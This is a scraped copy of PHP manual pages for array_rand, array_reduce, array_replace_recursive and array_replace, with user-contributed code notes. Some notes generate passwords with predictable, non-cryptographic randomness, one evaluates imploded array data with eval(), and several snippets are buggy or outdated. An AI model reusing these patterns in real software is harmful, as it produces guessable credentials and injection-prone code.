This is something I have been playing with for quite awhile. I'm very new to php, but i finally got it to work. it's a function that will take and array[$arrquo] and find a particular keyword[$find] in the different elements of the array then take those elements that posess that keyword and display them at random

<?php
function popbyword($arrquo,$find)
{
$newarr = array('');
 foreach($arrquo as $line)
 {
  if( strstr( $line, $find ) )
  {
    array_push($newarr, $line);

  }
 }
srand((double)microtime()*1000000);
$rquote = array_rand($newarr);
echo $newarr[$rquote];
}

popbyword($images, 'Albert');
?>

In my case I had this huge array of quotes with 90 some elements. I was able to find certain keywords in those elements then ONLY display the elements that had those keywords. NEAT! Maybe only because I'm new.
farooqym at ieee dot org 01-Jan-2006 02:05
Here's an algorithm to make a weighted selection of an item from an array.
Say we have an array $items with keys as items and values as corresponding weights.
For example:
<?php
$items = array(
    item1 => 3,
    item2 => 4,
    item3 => 5,
);
?>
i.e. we want to choose item1 25% of the time, item2 33.3% of the time and item3 41.6% of the time.
Here's a function that works when the weights are positive integers:
<?php
function array_rand_weighted($values) {
    $r = mt_rand(1, array_sum($values));
    foreach ($values as $item => $weight) {
        if  ($r <= $weight) return $item;
        $r -= $weight;
    }
}
?>
Enjoy!
bjcffnet at gmail dot com 29-Aug-2005 04:29
As wazaawazaa600 at msn dot com pointed out, a multi-dimensional array doesn't work with this function. So, I hope I can help someone with this :)

<?php
/**
 * Returns a number of random elements from an array.
 *
 * It returns the number (specified in $limit) of elements from
 * $array. The elements are returned in a random order, exactly
 * as it was passed to the function. (So, it's safe for multi-
 * dimensional arrays, aswell as array's where you need to keep
 * the keys)
 *
 * @author Brendan Caffrey  <bjcffnet at gmail dot com>
 * @param  array  $array  The array to return the elements from
 * @param  int    $limit  The number of elements to return from
 *                            the array
 * @return array  The randomized array
 */
function array_rand_keys($array, $limit = 1) {
    $count = @count($array)-1;

    // Sanity checks
    if ($limit == 0 || !is_array($array) || $limit > $count) return array();
    if ($count == 1) return $array;

    // Loop through and get the random numbers
    for ($x = 0; $x < $limit; $x++) {
        $rand = rand(0, $count);

        // Can't have double randoms, right?
        while (isset($rands[$rand])) $rand = rand(0, $count);

        $rands[$rand] = $rand;
    }

    $return = array();
    $curr = current($rands);

    // I think it's better to return the elements in a random
    // order, which is why I'm not just using a foreach loop to
    // loop through the random numbers
    while (count($return) != $limit) {
        $cur = 0;

        foreach ($array as $key => $val) {
            if ($cur == $curr) {
                $return[$key] = $val;

                // Next...
                $curr = next($rands);
                continue 2;
            } else {
                $cur++;
            }
        }
    }

    return $return;
}
?>
alexkropivko at(dog) yandex dot ru 16-Jun-2005 06:21
There was a mistake at "Paul Hodel (paul at ue dot com dot br) 17-Apr-2003 04:40":
String
echo $new_input = $input[$v];

have to be:
echo $new_input[] = $input[$v];
maxnamara at yahoo dot com 13-Mar-2005 03:22
<?php
$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");

function my_array_rand($input,$i=2){
srand((float) microtime() * 10000000);

$rand_keys = array_rand($input, $i);

/*
print $input[$rand_keys[0]] . "\n";
print $input[$rand_keys[1]] . "\n";
*/

$res = array();

if($i > 1){

for($a=0;$a<$i;$a++){

    $res[] = $input[$rand_keys[$a]];

}

}
else{

    $res[] = $input[$rand_keys];

}

return $res;
}

$a = my_array_rand($input,3);
echo "<pre>";
print_r($a);
echo "</pre>";
?>
yhoko at yhoko dot com 27-Aug-2004 06:16
According to office at at universalmetropolis dot com I have to say that the example is wrong.

<?php
// retrieve one of the options at random from the array
$teamcolours = $teamcolours[rand(0,count($teamcolours))];
?>

The count() function will return the number of items in the array, that's the last index + 1. So if there's 2 items in the array, count() will return 2 but the indices are 0 and 1. Now since rand(x,y) randomizes between x and y inclusively the index from the above example may be out of bounds. Thus you have to subtract 1 from the count:

<?php
    // Get random item
    $teamcolours = $teamcolours[rand(0,count($teamcolours)-1)];
?>
leighm at linuxbandwagon dot com leigh morresi 08-Mar-2004 07:36
Another array based password generator, this one is a port from the python mailman version.

this generates slightly predictable but human readable passwords that people can remember
output passwords are for example "rikanumi"

<?php
// port of mailman version
function MakeRandomPassword($length=6) {
$_vowels = array ('a', 'e', 'i', 'o', 'u');
$_consonants = array ('b', 'c', 'd', 'f', 'g', 'h', 'k', 'm', 'n','p', 'r', 's', 't', 'v', 'w', 'x', 'z');
$_syllables = array ();
foreach ($_vowels as $v) {
    foreach ($_consonants as $c) {
        array_push($_syllables,"$c$v");
        array_push($_syllables,"$v$c");
    }
}

for ( $i=0;$i<=($length/2);$i++)         $newpass=$newpass.$_syllables[array_rand($_syllables) ];

return $newpass;
?>

}
tim dot meader at gsfc dot nasa dot gov 05-Mar-2004 06:31
Just thought I would contribute a password generation function
that uses array_rand. I wrote this because I
could not find anywhere a PHP equivalent of the ability
that the String::Random module in Perl has, which allows
you to specify a schema for how you want the random
string created. In other words: I want 2 Uppercase, 3
lowercase, 2 intergers...etc.  This isn't too comprehensive,
notably it doesn't account for one choosing more itterations
 of a particular type than there are in the array (ie -
choosing more than 10 numbers from output). Additionally,
this doesn't allow for any repeated characters. Hope it can
be of use... comments appreciated.

<?php
    function &doGeneratePasswords()
    {
        //////////////////////////////////////
        // lowercase L left out for clarity //
        //////////////////////////////////////
        $l_achLowercase = array("a","b","c","d","e","f","g","h",
                                  "i","j","k","m","n","o","p","q",
                                  "r","s","t","u","v","w","x",
                                  "y","z");
        $l_iNumLowercase = count($l_achLowercase);

        ////////////////////////////////////////////
        // uppercase I and O left out for clarity //
        ////////////////////////////////////////////
        $l_achUppercase = array("A","B","C","D","E","F","G","H",
                                  "J","K","L","M","N","P","Q",
                                  "R","S","T","U","V","W",
                                  "X","Y","Z");
        $l_iNumUppercase = count($l_achUppercase);

        $l_aiNumbers = array("1","2","3","4","5","6","7","8","9","0");
        $l_iNumNumbers = count($l_aiNumbers);

        $l_achSpecialChars = array("!","#","%","@","*","&");
        $l_iNumSpecialChars = count($l_achSpecialChars);

        ///////////////////////////////////////////////////////////////////
        // Make sure to create enough blank spaces as you want passwords //
        ///////////////////////////////////////////////////////////////////
        $l_astPasswds = array("","","","");

        //////////////////////////////////////////
        // Hopefully these are self explanatory //
        //////////////////////////////////////////
        $l_astPasswdSchemes = array("SLUUSLNN","LSUNLLNU","NNUSLLSN","LNLSUNLU");

        $l_iNumPasswds = count($l_astPasswdSchemes);

        for ($i=0; $i < $l_iNumPasswds; $i++) {
            $l_iSchemeLength = strlen($l_astPasswdSchemes[$i]);

            $l_achRandLowercase = array_values(array_rand($l_achLowercase, $l_iNumLowercase));
            $l_achRandUppercase = array_values(array_rand($l_achUppercase, $l_iNumUppercase));
            $l_aiRandNumbers = array_values(array_rand($l_aiNumbers, $l_iNumNumbers));
            $l_achRandSpecialChars = array_values(array_rand($l_achSpecialChars, $l_iNumSpecialChars));

            for ($j=0; $j < $l_iSchemeLength; $j++) {
                $l_chCurrentOne = $l_astPasswdSchemes[$i]{$j};

                switch ($l_chCurrentOne) {
                    case "L":
                        $l_astPasswds[$i] .= $l_achLowercase[array_shift($l_achRandLowercase)];
                        break;

                    case "U":
                        $l_astPasswds[$i] .= $l_achUppercase[array_shift($l_achRandUppercase)];
                        break;

                    case "N":
                        $l_astPasswds[$i] .= $l_aiNumbers[array_shift($l_aiRandNumbers)];
                        break;

                    case "S":
                        $l_astPasswds[$i] .= $l_achSpecialChars[array_shift($l_achRandSpecialChars)];
                        break;

                    default:
                        break;
                }
            }
        }

        return $l_astPasswds;
    }
?>
jpinedo 02-Nov-2003 01:15
An array of arrays example:

<?php
$banners[0]['imagen']="imagen0.gif";
$banners[0]['url']="www.nosenada.tal";

$banners[1]['imagen']="imagen1.gif";
$banners[1]['url']="www.nose.tal";

$banners[2]['imagen']="imagen2.gif";
$banners[2]['url']="pagina.html";

$banners[3]['imagen']="imagen3.jpg";
$banners[3]['url']="../pagina.php";

$id_banner = array_rand($banners);

echo  "Archivo:--".$banners[$id_banner]['imagen']. "<br />\n";
echo  "URL:-----".$banners[$id_banner]['url']. "<br />\n";
?>
wazaawazaa600 at msn dot com 15-Oct-2003 12:24
The function go well ever that you work with a simple array. An array of arrays (also called a table), not works with the function correctly. Example:

<?php
$a=array(array(0,1),array(1,2),array(2,3),array(3,4),array(4,5));
echo $a[0][0];echo"<br>";
echo $a[1][0];echo"<br>";

$b=array_rand($a,2);
echo $b[0][0];echo"<br>"; //This writes nothing
echo $b[1][0];echo"<br>"; //This writes nothing
?>

If you are in this situation, you will need to make your own solution.
asarnoNOSPAM@interbaun DOT com 23-Jun-2003 11:06
It is correct that using array_rand() with num_req=1 will return an integer and not an array, but why get so complicated with getting just the one value.  The K.I.S.S. method would suggest to do it this way:

<?
srand((double)microtime() * 10000000);
$originalArray = array("red", "blue", "green", "brown",
"cyan", "magenta", "purle", "cheezy");
$pickOne = array_rand($originalArray, 1);
$aRandomSelection = $originalArray[$pickOne ];
echo "$aRandomSelection was the random selection made";
?>

You only need to use the foreach if the num_req >=2. In those cases the array_rand() function will return an array of random elements which are a subset of the original array.  When num_req = 1, the array_rand() function returns an integer that signifies a randomly picked key of the original array.  Hope this clarifies things ... it works for me.
c at aufbix dot org 13-Jun-2003 01:31
If you use array_rand with num_req=1, it will return an integer, and not an array as it would in all other circumstances. You can bypass that like this:

<?php
$randelts=array_rand($feeds,$num);

for ($j=0;$j<count($randelts);$j++) {
  if ($num==1) {$subq[$j]=$feeds[$randelts];}
  else {$subq[$j]=$feeds[$randelts[$i]]}
}
?>
Paul Hodel (paul at ue dot com dot br) 17-Apr-2003 01:40
If you trying to get a randon array just use that... it's easier! And you have no repeats...

<?

srand ((float) microtime() * 10000000);

$input = array ("Neo", "Morpheus", "Trinity", "Cypher", "Tank");

$keys = array_rand ($input, sizeof($input));

while (list($k, $v) = each($keys))
{
    echo $new_input = $input[$v];
}

?>
scandar at home dot se 13-Apr-2003 09:58
Note that the int num_req parameter is the required number of element to randomly select. So if your array has 3 element and num_req=4 then array_rand() will not return anything since it is impossible to select 4 random elements out of an array that only contains 3 elements. Many people think that they will get 3 elements returned but that is of course not the case.
mickoz[at]parodius[dot]com 01-Dec-2002 08:28
For those of you thinking that it does not work for num_req = 1, it is because it return a variable and not an array.  This mainly cause some problem with people using foreach.

The correct way to handle this is explained by that example:

<?php
$some_array = array("blah","bleh","foo","lele");

$nb_value = 1;

srand ((float) microtime() * 10000000);
$rand_keys = array_rand($some_array, $nb_value);

if(!is_array($rand_keys))
{
  $rand_keys = array($rand_keys);
}

print_r($rand_keys); // verify here the array of keys
echo "\n<BR>";
?>

// You can then correctly use the foreach, as it require an array to work
// If you use foreach with one element, it won't work.

<?php
$random_array = array();

foreach($rand_keys as $value)
{
  array_push($random_array, $some_array[$value]);
}

print_r($random_array);
?>
dboy at jumpstation dot org 22-Jul-2002 06:58
If you just want to pull one random element from an array, try something like this:

<?php
mt_srand((double) microtime() * 1000000);
$myarray = array("this", "is", "a",
                 "test", "to", "see",
                 "if", "I", "can",
                 "pull", "one", "element",
                 "from", "an", "array",
                 "randomly");
$random_index = mt_rand(0, (count($myarray)-1));
?>

Then to test the randomness or what have you try a simple:

<?php
$string = ""; // Just to kill the warning
for ($i=0; $i<count($myarray); $i++) {
     $random_index = mt_rand(0, (count($myarray)-1));
     $string .= "$myarray[$random_index] ";
}
$string = rtrim($string);
echo ($string);
?>

I've gotten extremely good output from this method and would recommend it if you're just pulling one element.
josh at 3io dot com 14-Jun-2002 03:20
I modified fake_array_rand to always only return 1 element, and did some benchmarks against calling array_rand with the second parameter as 1.  I ran 100 samples for each function for each number of elements and took the average result.  While the internal array_rand is faster for a small number of elements, it scales very poorly.

1 elements: 2.0619630813599E-05 sec. for array_rand,8.4352493286133E-05 sec. for fake_array_rand
10 elements: 2.1675825119019E-05 sec. for array_rand,8.427619934082E-05 sec. for fake_array_rand
100 elements: 2.9319524765015E-05 sec. for array_rand,8.4599256515503E-05 sec. for fake_array_rand
1000 elements: 0.0001157283782959 sec. for array_rand,8.5572004318237E-05 sec. for fake_array_rand
10000 elements: 0.0016669762134552 sec. for array_rand,8.5201263427734E-05 sec. for fake_array_rand
100000 elements: 0.015599734783173 sec. for array_rand,8.5580348968506E-05 sec. for fake_array_rand
1000000 elements: 0.18011983394623 sec. for array_rand,8.6690187454224E-05 sec. for fake_array_rand

<?php
function fake_array_rand ($array)
{
        $count = count ($array);
        # Help keep the number generator random :)
        $randval and usleep ("0.$randval");

        # Seed the random number generator
        # Generate a random number
        srand ((double) microtime() * 10000000);
        $randval = rand();

        # Use the random value to 'pick' an entry from the array
        # Count the number of times that the entry is picked
        ++$index[$randval % $count];

        return $array[$randval % $count];
}
?>
uvm at sun dot he dot net 09-Jul-2001 06:09
If you're just trying to draw a random subset of n elements from an array, it seems more effecient to do something like this:

<?php
function draw_rand_array($array,$draws)
{
        $lastIndex = count($array) - 1;
        $returnArr = array();
        while($draws > 1)
        {
                $rndIndex = rand(0,$lastIndex);
                array_push($returnArr,array_splice($array,$rndIndex,1));
                $draws--;
                $lastIndex--;
        }

        return $returnArr;
}
?>

No messing with indexes when you're done... you just have an array with the elements you're looking for in it.
array_push
array_reduce
Array Functions


Iteratively reduce the array to a single value using a callback function

array_rand
array_replace_recursive
Array Functions
PHP Manual

array_reduce

(PHP 4 >= 4.0.5, PHP 5)

array_reduce — Iteratively reduce the array to a single value using a callback function

Description

mixed array_reduce ( array $input , callback $function [, mixed $initial = NULL ] )

array_reduce() applies iteratively the function function to the elements of the array input, so as to reduce the array to a single value.

Parameters

input

The input array.

function

The callback function.

initial

If the optional initial is available, it will be used at the beginning of the process, or as a final result in case the array is empty.

Return Values

Returns the resulting value.

If the array is empty and initial is not passed, array_reduce() returns NULL.

Changelog

Version | Description
5.3.0 | Changed initial to allow mixed, previously integer.

Examples

Example #1 array_reduce() example

<?php
function rsum($v, $w)
{
    $v += $w;
    return $v;
}

function rmul($v, $w)
{
    $v *= $w;
    return $v;
}

$a = array(1, 2, 3, 4, 5);
$x = array();
$b = array_reduce($a, "rsum");
$c = array_reduce($a, "rmul", 10);
$d = array_reduce($x, "rsum", "No data to reduce");
?>

This will result in $b containing 15, $c containing 1200 (= 10*1*2*3*4*5), and $d containing No data to reduce.

See Also

  • array_filter() - Filters elements of an array using a callback function
  • array_map() - Applies the callback to the elements of the given arrays
  • array_unique() - Removes duplicate values from an array
  • array_count_values() - Counts all the values of an array

User Contributed Notes

hans+php at pleasedontspamme dot hansdude dot com 02-Nov-2011 08:18
This function is named fold in functional programming languages such as lisp, ocaml, haskell, and erlang. Python just calls it reduce.
aercolino at yahoo dot com 21-Apr-2010 07:17
Thanks to php at keith tyler dot com, knowing that "if you do not provide $initial, the first value used in the iteration is NULL", we can write callbacks that test for is_null() and take any necessary step.

Example:

<?php
function andFunc($a, $b) {
  return (is_null($a) ? true : $a) && $b;
}
$foo = array(true, true, true);
var_dump(array_reduce($foo, "andFunc"));
?>

It returns bool(true), as expected.
php at keith tyler dot com 18-Apr-2010 03:30
It seems that $initial is a required value; if you do not provide $initial, the first value used in the iteration is NULL.

Perhaps this is not a problem for callback functions that treat NULL as an identity (e.g. addition), but is a problem for cases when NULL is not identity (such as boolean context).

Compare:

<?php
function andFunc($a,$b) {
  return $a&&$b;
}
$foo=Array(true,true,true);
var_dump(array_reduce($foo,"andFunc"));
?>

returns false! One would expect that it would return true because true&&true&&true == true!

Adding diagnostic output to andFunc() shows that the first call to andFunc is with the arguments (NULL,true). This resolves to false (as (bool)null == false) and thereby corrupts the whole reduction.

So in this case I have to set $initial=true so that the first call to andFunc() will be (true,true). Now, if I were doing, say, orFunc(), I would have to set $initial=false. Beware.

Note that the "rmul" case in the example sneakily hides this defect! They use an $initial of 10 to get 10*1*2*3*4*5=12000. So you would assume that without an initial, you would get 1200/10 = 120 = 1*2*3*4*5. Nope! You get big fat zero, because int(null)==0, and 0*1*2*3*4*5 = 0!

I don't honestly see why array_reduce starts with a null argument. The first call to the callback should be with arguments ($initial[0],$initial[1]) [or whatever the first two array entries are], not (null,$initial[0]). That's what one would expect from the description.

Incidentally this also means that under the current implementation you will incur count($input) number of calls to the callback, not count($input)-1 as you might expect.
Hayley Watson 02-Apr-2010 06:14
The note by Hrobky immediately below applies only to PHP versions prior to 5.3.0; as noted in the function's version history, $initial is now a "mixed" parameter.

What a difference a year makes :)
Hrobky 01-Apr-2009 02:34
The initial value have to be int. So it is impossible to implement non-recursive flatten like this:

<?php
  $arr = array(array(1), array(2), array(3));
  $result = array_reduce($arr, 'array_merge', array());
  // expected: $result == array (1, 2, 3)
?>

I get: Warning: array_merge() : Argument #1 is not an array.

If $initial parameter is not an int, array_reduce passes 0 (zero) to the callback function. Hayley Watson's note suggests a solution:

<?php
  $acc = array();
  foreach($arr as $a)
    $acc = array_merge($acc, $a);
  // now: $acc == array (1, 2, 3)
?>
Hayley Watson 23-Oct-2007 02:49
To make it clearer about what the two parameters of the callback are for, and what "reduce to a single value" actually means (using associative and commutative operators as examples may obscure this).

The first parameter to the callback is an accumulator where the result-in-progress is effectively assembled. If you supply an $initial value the accumulator starts out with that value, otherwise it starts out null.
The second parameter is where each value of the array is passed during each step of the reduction.
The return value of the callback becomes the new value of the accumulator. When the array is exhausted, array_reduce() returns accumulated value.

If you carried out the reduction by hand, you'd get something like the following lines, every one of which therefore producing the same result:
<?php
array_reduce(array(1,2,3,4), 'f',         99             );
array_reduce(array(2,3,4),   'f',       f(99,1)          );
array_reduce(array(3,4),     'f',     f(f(99,1),2)       );
array_reduce(array(4),       'f',   f(f(f(99,1),2),3)    );
array_reduce(array(),        'f', f(f(f(f(99,1),2),3),4) );
f(f(f(f(99,1),2),3),4)
?>

If you made function f($v,$w){return "f($v,$w)";} the last line would be the literal result.

A PHP implementation might therefore look something like this (less details like error checking and so on):
<?php
function array_reduce($array, $callback, $initial=null)
{
    $acc = $initial;
    foreach($array as $a)
        $acc = $callback($acc, $a);
    return $acc;
}
?>
Janez R. 30-Jul-2007 08:27
--REPOST, fixed some typos, please replace previous note--
In PHP ver. 4.3.1 the initial value parameter allowed for string type also. In PHP ver. 5.1.6 this param is now converted to int and callback function will receive number 0 when initial param is an empty string.

<?php
function arc ($reduced, $item)
{
  $reduced = $item.$reduced;
  return $reduced;
}

array_reduce( array(a,b,c), "arc", "" );
?>

Output in PHP 4.3.1: cba
Output in PHP 5.1.6: cba0

Possible solution:
<?php
function arc ($reduced, $item)
{
  if ($reduced === 0)  $reduced = "";
  $reduced = $item.$reduced;
  return $reduced;
}
?>
yuki [dot] kodama [at] gmail [dot] com 31-Jan-2007 08:56
This code will reduce array deeply.

<?php
function print_s($s) {
    return is_null($s) ? "NULL" : (is_array($s) ? "Array" : ($s ? "TRUE" : "FALSE"));
}
function r_and_dp($a, $b) {
    echo "phase1:" . print_s($a) . "," . print_s($b) . "<br>\n";
    if(is_array($a)) {
        $a = array_reduce($a, "r_and_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_and_dp");
    }
    echo "phase2:" . print_s($a) . "," . print_s($b) . "<br>\n";
    $a = is_null($a) ? TRUE : $a;
    $b = is_null($b) ? TRUE : $b;
    echo "phase3:" . print_s($a) . "," . print_s($b) . "<br>\n";
    return $a && $b;
}
$bools = array(TRUE, array(FALSE, TRUE), TRUE);
echo print_s(array_reduce($bools, "r_and_dp")) . "<br>\n";

// result: FALSE
?>

When using boolean, you have to carefully set an "initial" argument.

<?php
function r_or_dp($a, $b) {
    if(is_array($a)) {
        $a = array_reduce($a, "r_or_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_or_dp");
    }
    return (is_null($a) ? FALSE : $a) || (is_null($b) ? FALSE : $b);
}
?>
bdechka at yahoo dot ca 10-Jan-2007 12:57
The above code works better this way.

<?php
function reduceToTable($html, $p) {
   $html .= "<TR><TD><a href=\"$p.html\">$p</a></td></tr>\n";
   return $html;
}

$list = Array("page1", "page2", "page3");

$tab = array_reduce($list, "reduceToTable");
echo "<table>".$tab . "</table>\n";
?>
marcel dot oehler at kubusmedia dot com 08-Feb-2006 07:26
I've just experienced some really strange behaviour of array_reduce in PHP 5.0.4:

$result = array( 0, 17, 0, 0, 33, 0, 0, 0, 0, 50);
$total = array_reduce( $result, "sumCalc", 0);

function sumCalc( $a, $b){
    return $a + $b;
}

and $total equals to 83!

I know, this could be done easier, but it should work nevertheless. Has anybody experienced something similar? I will avoid using array_reduce in the future...
Seanj.jcink.com 04-Jan-2006 06:23
The code posted below by bishop to count the characters of an array is simply... erm... well useless to me...

$array=Array("abc","de","f");
strlen(implode("",$array)); //6

works; and is much smaller. Probably much faster too.
ildar [DASH] sh [AT] mail [DOT] ru 29-Nov-2005 10:02
in rare cases when an array is a set of numeric values and result is one of sum or product of numbers the next examples may be useful

<?php

// sum of array items
echo eval('return ' . implode('+', $nums) . ';');

// product of array items
echo eval('return ' . implode('*', $nums) . ';');

?>

the reason of these codes is omitting of single used per script of callbacks
david dot tulloh at infaze dot com dot au 23-Jun-2005 01:18
The code supplied by cuntbubble is unfortunately incorrect.

Running it I got the output:
0<TR><TD><a href="page1.html">page1</a></td>
<TR><TD><a href="page2.html">page2</a></td>
<TR><TD><a href="page3.html">page3</a></td>
</table>

So php, not finding an integer, used int(0) to start the process.  I've tested to confirm this.
bishop 30-Apr-2004 08:19
Count the total number of characters in an array of strings:

<?php
$lines = array ('abc', 'd', 'ef');
$totalChars = array_reduce($lines, create_function('$v,$w','return $v + strlen($w);'), 0);
// $totalChars === 6
?>
tonicpeddler at aol dot com 01-Nov-2002 07:17
in response to php dot net at cuntbubble dot com

actually when you pass a value to a function that accepts a specific data type, php automatically evaluates that value as the data type expected
php dot net at cuntbubble dot com 17-Jan-2002 08:08
There is an error/misleading item in the documentation

[, int initial]

int is not constrained to an integer, it can be any data type (although I've not tested ALL data types)

and $v is the cumulative part, the current value of the reduction.

and I'll take the liberty to add another example, as used in my code

<?php
function reduceToTable($html, $p) {
    $html .= "<TR><TD><a href=\"$p.html\">$p</a></td>\n";
    return $html;
}

$list = Array("page1", "page2", "page3");

$tab = array_reduce($list, "reduceToTable", "<table>\n");
echo $tab . "</table>\n";
?>

hmm, getting stuff on one line sure is tricky, it get's wordwrapped on the char count in html so &gt; counts as 4 chars not one so by the time you've counted "< you've used up 8 chars
If it get's through moderation could someone please make it look ok :)
array_rand
array_replace_recursive
Array Functions


Replaces elements from passed arrays into the first array recursively

array_reduce
array_replace
Array Functions
PHP Manual

array_replace_recursive

(PHP 5 >= 5.3.0)

array_replace_recursive — Replaces elements from passed arrays into the first array recursively

Description

array array_replace_recursive ( array &$array , array &$array1 [, array &$... ] )

array_replace_recursive() replaces the values of the first array with the same values from all the following arrays. If a key from the first array exists in the second array, its value will be replaced by the value from the second array. If the key exists in the second array, and not the first, it will be created in the first array. If a key only exists in the first array, it will be left as is. If several arrays are passed for replacement, they will be processed in order, the later array overwriting the previous values.

array_replace_recursive() is recursive : it will recurse into arrays and apply the same process to the inner value.

When the value in array is scalar, it will be replaced by the value in array1, may it be scalar or array. When the value in array and array1 are both arrays, array_replace_recursive() will replace their respective value recursively.

Parameters

array

The array in which elements are replaced.

array1

The array from which elements will be extracted.

...

Optional. More arrays from which elements will be extracted.

Return Values

Returns an array, or NULL if an error occurs.

Examples

Example #1 array_replace_recursive() example

<?php
$base = array('citrus' => array( "orange") , 'berries' => array("blackberry", "raspberry"), );
$replacements = array('citrus' => array('pineapple'), 'berries' => array('blueberry'));

$basket = array_replace_recursive($base, $replacements);
print_r($basket);

$basket = array_replace($base, $replacements);
print_r($basket);
?>

The above example will output:

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

)
Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
        )

)

Example #2 array_replace_recursive() and recursive behavior

<?php
$base = array('citrus' => array("orange") , 'berries' => array("blackberry", "raspberry"), 'others' => 'banana' );
$replacements = array('citrus' => 'pineapple', 'berries' => array('blueberry'), 'others' => array('litchis'));
$replacements2 = array('citrus' => array('pineapple'), 'berries' => array('blueberry'), 'others' => 'litchis');

$basket = array_replace_recursive($base, $replacements, $replacements2);
print_r($basket);

?>

The above example will output:

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

    [others] => litchis
)

See Also

  • array_replace() - Replaces elements from passed arrays into the first array

User Contributed Notes

Gregor at der-meyer dot de 29-Jul-2009 06:13
Nice that this function finally found its was to the PHP core! If you want to use it also with older PHP versions before 5.3.0, you can define it this way:

<?php
if (!function_exists('array_replace_recursive'))
{
  function array_replace_recursive($array, $array1)
  {
    function recurse($array, $array1)
    {
      foreach ($array1 as $key => $value)
      {
        // create new key in $array, if it is empty or not an array
        if (!isset($array[$key]) || (isset($array[$key]) && !is_array($array[$key])))
        {
          $array[$key] = array();
        }

        // overwrite the value in the base array
        if (is_array($value))
        {
          $value = recurse($array[$key], $value);
        }
        $array[$key] = $value;
      }
      return $array;
    }

    // handle the arguments, merge one by one
    $args = func_get_args();
    $array = $args[0];
    if (!is_array($array))
    {
      return $array;
    }
    for ($i = 1; $i < count($args); $i++)
    {
      if (is_array($args[$i]))
      {
        $array = recurse($array, $args[$i]);
      }
    }
    return $array;
  }
}
?>

I called this function array_merge_recursive_overwrite() in my older projects, but array_replace_recursive() sounds quite better while they do the same.

If you implemented such a compatible function before and don't want to refactor all your code, you can update it with the following snippet to use the native (and hopefully faster) implementation of PHP 5.3.0, if available. Just start your function with these lines:

<?php
  // as of PHP 5.3.0 array_replace_recursive() does the work for us
  if (function_exists('array_replace_recursive'))
  {
    return call_user_func_array('array_replace_recursive', func_get_args());
  }
?>
kyle [dot] florence [@t] gmail [dot] com 14-Jul-2009 04:16
This might help out people who don't have 5.3 running:

<?php

// Joins two or more arrays together recursively; key/value pairs of the first
// array are replaced with key/value pairs from the subsequent arrays.  Any
// key/value pair not present in the first array is added to the final array
function array_join()
{
    // Get array arguments
    $arrays = func_get_args();

    // Define the original array
    $original = array_shift($arrays);

    // Loop through arrays
    foreach ($arrays as $array)
    {
        // Loop through array key/value pairs
        foreach ($array as $key => $value)
        {
            // Value is an array
            if (is_array($value))
            {
                // Traverse the array; replace or add result to original array
                $original[$key] = array_join($original[$key], $array[$key]);
            }

            // Value is not an array
            else
            {
                // Replace or add current value to original array
                $original[$key] = $value;
            }
        }
    }

    // Return the joined array
    return $original;
}

?>
array_reduce
array_replace
Array Functions


Replaces elements from passed arrays into the first array

array_replace_recursive
array_reverse
Array Functions
PHP Manual

array_replace

(PHP 5 >= 5.3.0)

array_replace — Replaces elements from passed arrays into the first array

Description

array array_replace ( array &$array , array &$array1 [, array &$... ] )

array_replace() replaces the values of the first array with the same values from all the following arrays. If a key from the first array exists in the second array, its value will be replaced by the value from the second array. If the key exists in the second array, and not the first, it will be created in the first array. If a key only exists in the first array, it will be left as is. If several arrays are passed for replacement, they will be processed in order, the later arrays overwriting the previous values.

array_replace() is not recursive : it will replace values in the first array by whatever type is in the second array.

Parameters

array

The array in which elements are replaced.

array1

The array from which elements will be extracted.

...

More arrays from which elements will be extracted. Values from later arrays overwrite the previous values.

Return Values

Returns an array, or NULL if an error occurs.

Examples

Example #1 array_replace() example

<?php
$base = array("orange", "banana", "apple", "raspberry");
$replacements = array(0 => "pineapple", 4 => "cherry");
$replacements2 = array(0 => "grape");

$basket = array_replace($base, $replacements, $replacements2);
print_r($basket);
?>

The above example will output:

Array
(
    [0] => grape
    [1] => banana
    [2] => apple
    [3] => raspberry
    [4] => cherry
)

See Also

  • array_replace_recursive() - Replaces elements from passed arrays into the first array recursively

User Contributed Notes

w_barath at hotmail dot com 06-Aug-2011 08:13
Yep, thinking about it replacing from back to front, this works a trick!

here's a quick repalcement for PHP <=5.3

<?php
if (!function_exists('array_replace')){ function array_replace(){
    $array=array();
    $n=func_num_args();
    while ($n-- >0) {
        $array+=func_get_arg($n);
    }
    return $array;
}}
?>
sun at drupal dot org 27-May-2011 11:42
Instead of calling this function, it's often faster and simpler to do this instead:

<?php
$array_replaced = $array2 + $array1;
?>

If you need references to stay intact:

<?php
$array2 += $array1;
?>
polecat at p0lecat dot com 29-Nov-2010 10:02
I got hit with a noob mistake. :)

When the function was called more than once, it threw a function redeclare error of course.  The enviroment I was coding in never called it more than once but I caught it in testing and here is the fully working revision.  A simple logical step was all that was needed.

With PHP 5.3 still unstable for Debian Lenny at this time and not knowing if array_replace would work with multi-dimensional arrays, I wrote my own.  Since this site has helped me so much, I felt the need to return the favor. :)

<?php
        // Polecat's Multi-dimensional array_replace function
        // Will take all data in second array and apply to first array leaving any non-corresponding values untouched and intact
        function polecat_array_replace( array &$array1, array &$array2 ) {
            // This sub function is the iterator that will loop back on itself ad infinitum till it runs out of array dimensions
            if(!function_exists('tier_parse')){
                function tier_parse(array &$t_array1, array&$t_array2) {
                    foreach ($t_array2 as $k2 => $v2) {
                        if (is_array($t_array2[$k2])) {
                            tier_parse($t_array1[$k2], $t_array2[$k2]);
                        } else {
                            $t_array1[$k2] = $t_array2[$k2];
                        }
                    }
                    return $t_array1;
                }
            }

            foreach ($array2 as $key => $val) {
                if (is_array($array2[$key])) {
                    tier_parse($array1[$key], $array2[$key]);
                } else {
                    $array1[$key] = $array2[$key];
                }
            }
            return $array1;
        }
?>

[I would also like to note] that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

<?php
$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);
?>

This is will replace the value for "food" for "dewberry" with "wine".

